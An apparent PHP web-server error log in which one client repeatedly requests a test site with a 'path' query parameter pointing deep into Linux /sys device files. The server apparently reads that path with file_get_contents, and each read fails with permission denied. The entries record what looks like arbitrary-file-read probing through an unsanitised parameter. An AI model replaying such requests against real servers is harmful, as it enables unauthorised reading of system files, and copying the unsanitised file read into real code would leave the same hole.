[Thu Mar 26 11:32:02.662604 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:32:04.797353 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac
[Thu Mar 26 11:32:08.004808 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ac
[Thu Mar 26 11:32:09.694042 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ae
[Thu Mar 26 11:32:11.727679 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:32:22.334241 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ac
[Thu Mar 26 11:32:27.049456 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ba
[Thu Mar 26 11:32:31.520782 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:32:32.102772 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:32:33.174272 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ec
[Thu Mar 26 11:32:36.411224 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:32:39.113917 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:32:46.464238 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ee
[Thu Mar 26 11:32:49.117039 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:32:52.307217 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae
[Thu Mar 26 11:32:53.347740 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:de
[Thu Mar 26 11:33:04.362038 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/device:ec/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/device:ec/subsystem
[Thu Mar 26 11:33:11.267800 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:33:12.906210 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:33:13.896968 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:33:14.491573 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:33:14.995357 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac
[Thu Mar 26 11:33:17.692082 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ac
[Thu Mar 26 11:33:19.941999 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:33:22.621027 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60596] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ae
[Thu Mar 26 11:33:24.439651 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:33:25.409339 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:33:25.979023 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:33:26.513948 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:33:27.561871 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ba
[Thu Mar 26 11:33:28.100494 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ac
[Thu Mar 26 11:33:29.164132 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ca
[Thu Mar 26 11:33:30.207287 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:33:36.637630 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:33:37.181801 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem
[Thu Mar 26 11:33:40.934234 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:be
[Thu Mar 26 11:33:45.156641 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ee
[Thu Mar 26 11:33:46.682233 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:33:47.244702 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ec
[Thu Mar 26 11:33:52.009923 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:bc
[Thu Mar 26 11:33:54.063568 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ac
[Thu Mar 26 11:33:54.574505 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:33:56.213045 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ec
[Thu Mar 26 11:33:57.267238 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
